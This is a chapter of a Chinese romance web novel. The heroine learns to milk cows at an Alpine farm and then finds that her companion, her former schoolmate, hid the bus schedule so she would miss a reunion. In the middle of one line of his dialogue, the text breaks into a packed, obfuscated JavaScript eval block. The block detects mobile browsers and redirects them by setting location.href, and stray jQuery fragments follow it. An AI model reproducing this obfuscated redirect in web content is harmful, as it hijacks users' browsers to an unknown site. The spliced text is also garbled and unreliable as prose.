37. 伤痕

作品:《雷暴蝴蝶

    一夜无眠。


    辗转反侧。


    直到天微微亮起,许默才睡熟。


    她又梦到了那枝乌樟。


    梦到了那个没有脸的转校生。


    乌樟树下的少年转过身来。


    这次不再是模糊的轮廓,而是清晰得让人心颤的眉眼。他懒散地倚着树干,校服领口微微敞开,嘴角挂着那个熟悉的、玩世不恭的笑。


    此时的对方有了名字。


    叫谢盛祈。


    -


    等许默睡醒时,谢盛祈早没了影儿。


    探出窗户瞧了眼,对方正在远处的草垛旁忙碌,晨雾模糊了他的轮廓。


    她套上海莉借给她的牛仔服,走进牛棚。


    昨天和对方约定好要帮牛挤奶,她还没忘。


    清晨的空气里混合着干草、牛奶和牲畜特有的气息。


    “睡得好吗?”一个带着笑意的声音从身后传来。


    许默转身,看见谢盛祈朝她走来。


    他穿着地中海工作服饰,袖子挽到手肘处,露出白皙又结实的手臂。晨光在他轮廓分明的侧脸镀上一层金边,浓密的眉毛下,那双总是含着笑意的眼睛此刻正专注地看着她。


    “还好。”许默莫名攥了攥衣角,不自觉说了句谎话,她能感觉到自己的心跳比平时快了几分。


    自从想起对方便是高三那年的转校生。


    她哪还能睡得着。


    她胡思乱想了很多。


    近十年过去了。


    没想到他们会在阿尔卑斯重逢。


    对方出现在格伦希尔,会是巧合吗?


    对方又是从什么时候认出她来的。


    十年时间。


    没想到对方的变化会这般大。


    唯一没变的,或许就只有他那放浪不羁的性格。


    谢盛祈走到她身边,自然而然地接过她手中的空桶,好似没察觉她的变化。


    “走吧,不是要挤奶吗?”


    牛棚里,两头西门塔尔奶牛正安静地站在各自的隔间里咀嚼干草。谢盛祈熟练地穿梭其间,拍拍这头的背,摸摸那头的耳朵,只不过才来两天时间,两头牛似乎已经认得他。


    许默找了头看起来稍显温顺的小个子奶牛。


    小个子奶牛转过头,用湿漉漉的鼻子嗅了嗅许默的手,然后继续咀嚼它的干草,似乎对这个新来的两脚兽并不在意。


    “来,我教你挤奶。”谢盛祈拿起一个矮凳放在牛腹下方,示意许默坐下。


    许默有些笨拙地坐下,仰头看着对方,“就这样直接……挤吗?”


    谢盛祈忍不住笑出声,“当然不是。”


    他蹲下身,从旁边拿起一个干净的金属桶放在牛腹下方。


    “首先,要做好清洁。”他拿起一块湿布,示范如何轻柔地擦拭。


    许默认真地看着,白色的牛奶有节奏地喷射进金属桶中,发出清脆的“滋滋”声。


    对方操作起来还真是像模像样。


    许默笑了声。


    “怎么?”


    谢盛祈转过头问。


    “没,”许默擦了擦溅在脸上的牛奶,“就是觉得你还挺像个牛奶工的。”


    谢盛祈乐呵道:“每件事都不容小觑,对吧?”


    许默反而有些好奇。


    对方虽然看起来不务正业,一点正事没做,背着个相机到处跑。


    但总是懂一些“无用的知识”。


    对于在国内卷生卷死,把一天当两天来用的许默来说。


    有种对方把时间都花费在“刀背”上的感觉。


    只是没想到。


    有一天,还真用上了这“刀背”上的知识,还不止一次。


    “你来试试。”谢盛祈让开位置。


    许默深吸一口气,学着对方的样子握住奶牛的下腹,却完全不得要领,不仅没挤出奶,反而惹得小个子奶牛不舒服地甩了甩尾巴,又跺了跺脚。


    刚挤出来的新鲜牛奶不受控制地乱“滋”。


    滋得许默一脸都是。


    慌乱躲闪中,许默手忙脚乱,还差点把奶桶给打翻。


    “噗。”


    谢盛祈没忍住笑了声。


    “好啊,你居然笑我。”许默伸手抡了对方一下。


    “噗嗤。”对方越笑越大声。


    “你别笑了!有什么好笑的。”


    许默无语地看向对方。


    身旁的小个子牛不安分地乱动。


    谢盛祈起身笑道:“要不,你看看自己的脸。”


    许默胡乱抹了一把,非但没有抹掉奶渍,反而更加糟糕了。


    瞧见对方又要笑话她,起身就去追赶对方。


    “你别跑!”


    “凭啥,就要跑。”


    -


    两人在农舍度过了与世隔绝的三天。


    和农舍主人一同劳作,对方给他们讲述当地民俗,作为交换,他们给对方烹饪东方美食。


    对许默来说,这种远离文明,回归原始的机会并不多。


    这几天下来,她并不排斥。


    只是,还有要紧的事情等着她回格伦希尔。


    第四天破晓时分,露珠还在草叶上滚动,许默已经收拾好了行李。


    与农舍主人告别,下了山。


    沿着碎石路走到山边那个小镇子。


    许默站在镇子唯一的巴士点,静静等待前往格伦希尔的车辆。


    谢盛祈靠在巴士点的栏杆上,打了个哈欠说:“就这么急着回去吗?”


    许默低头整理背包带子,理所应当地回答:“约定的时间就要到了。”


    “和韦烨燃?”谢盛祈略有所思地盯着她。


    许默点了点头。


    “三年前,我和韦烨燃约好的,三年后的那天在格伦希尔相见。”


    “所以这就是你重回格伦希尔直播的理由?”谢盛祈问。


    许默点头:“当然。”


    谢盛祈目光骤然深沉下来,他看向许默说:“奥若拉,你再好好想想。”


    许默不解地看向他。


    不知道对方为何要这样说。


    顿了一会儿,谢盛祈继续问:“你都喜欢韦烨燃什么?”


    “喜欢……他什么?”许默眨了眨眼睛。


    一时间,她冒出了好些念头。


    但却又一个都说不出来。


    她这才发现,不知从什么时候起,自己对于韦烨燃的印象已经变得格外模糊。


    “……炙热。”


    挤了半天,许默终于挤出两个字。


    谢盛祈笑了,他探出身子问:“要是我比他更炙热,你会喜欢我吗?”


    许默有些愣神:“别开玩笑了。”


    “我没开玩笑,”谢盛祈撩起眼皮注视着她说:“我要怎样,你才能喜欢我。”


    “……”


    空气近乎凝固。


    许默吃惊地盯着对方,颈部骤然有些发热,让她止不住想伸手解开衣领扇扇风。


    直到顿了好几秒。


    她那比见了鬼还惊悚的表情凝滞在脸上时。


    谢盛祈才“噗嗤”一笑,轻声说了句:“Gotyou。”


    许默紧绷的喉咙终于松懈下来。


    整个人如释重负。


    谢盛祈将她的模样尽收眼底,眼皮跳了跳说:“别紧张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984677|176048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我这人嘴没把,没一句实话,你知道的。”


    许默白了他一眼,懒得理会他。


    自顾张望着巴士的踪迹。


    两人一等就是大半天。


    他们在锈迹斑斑的站牌下从清晨等到日暮,也没等到前往格伦希尔的巴士前来。


    夕阳把两人的影子拉得很长,谢盛祈百无聊赖地用鞋尖碾着地上的碎石子。“又罢工了吧,”他耸耸肩,语气里带着习以为常的慵懒,“毕竟是在欧洲。”


    许默却觉得蹊跷。


    借着去超市买水的空隙,她顺嘴问了下售货员。


    “请问,去往格伦希尔的大巴今天怎么没来呢?”


    好在售货员会一些德语。


    听见她要去格伦希尔,金发辫子随着动作轻轻一晃。“格伦希尔?”她惊讶地睁大蓝眼睛,“今天没有班次啊。”


    “嗯?”


    许默握着矿泉水瓶的手指突然收紧,重复着询问:“今天没有班次?”


    售货员指了指贴在不显眼位置的班次表说:“三天一班,昨天刚走了一班。”


    许默在满墙的花花绿绿中找到了所谓的巴士班次表。


    密密麻麻的德文小字间,清晰地标注着,最近的一班前往格伦希尔的巴士是昨日发车。


    而今天,根本没有班次。


    玻璃门映出她骤然苍白的脸,她吃惊地望着班次表。


    难以置信地又看向街边巴士站点下的谢盛祈。


    从超市出来。


    她低着头走向巴士站点。


    谢盛祈倚在站牌下冲她笑,夕阳在他睫毛上跳跃:“怎么去这么久。”


    许默将手中的矿泉水递过去。


    谢盛祈接了,但她却没有撒手。


    “嗯?”谢盛祈疑惑抬头。


    许默看向对方怡然自乐的样子,顿了顿后问:“你……为什么骗我?”


    谢盛祈微微一怔。


    喉结不受控制地上下滚动。


    矿泉水瓶在他们之间微微颤动。


    许默的声音开始发抖:“最近的一班前往格伦希尔的车是昨天,你一直都知道的对吧?”


    谢盛祈看着她,收起了笑容,郑重地看了她两眼后,还是选择点了点头。


    “为什么?”


    许默不解地看向对方,不可思议地说:“为什么要这样做。”


    谢盛祈没有搭话。


    只是静静地看着她。


    这让许默更加生气。


    错过今天这班车,她再也赶不上和韦烨燃的三年之约。


    她浑浑噩噩的这些日子。


    总是看起来即将要有了结。


    但却被眼前的人给毁了。


    许默的眼眶湿润起来。


    她质问对方:“你明知道我赶着回去……你明知道这对我多重要……”


    “重要?”


    谢盛祈终于开口,他自嘲似的轻哼一声。


    “回去干嘛?”


    不等许默说话,谢盛祈一把挶在对方肩膀上,低沉着声音说:“难道……让我眼睁睁看着你去做傻事吗?”


    许默瞳孔猛地收缩,她难以置信地看向对方。


    两人之间像是隔了一堵隐形的墙。


    许默的上下睫毛不受控制地开始颤动。


    胸腔开始剧烈起伏。


    整个人如同呼吸过度般,开始心悸、抽搐。


    这种感觉……


    像是被她自认为藏得好好的伤口早就被对方看穿。


    那遍布狰狞、深入骨髓的丑陋伤痕,赤.裸裸地展现在对方眼前。


    这让她。


    比死了还难受。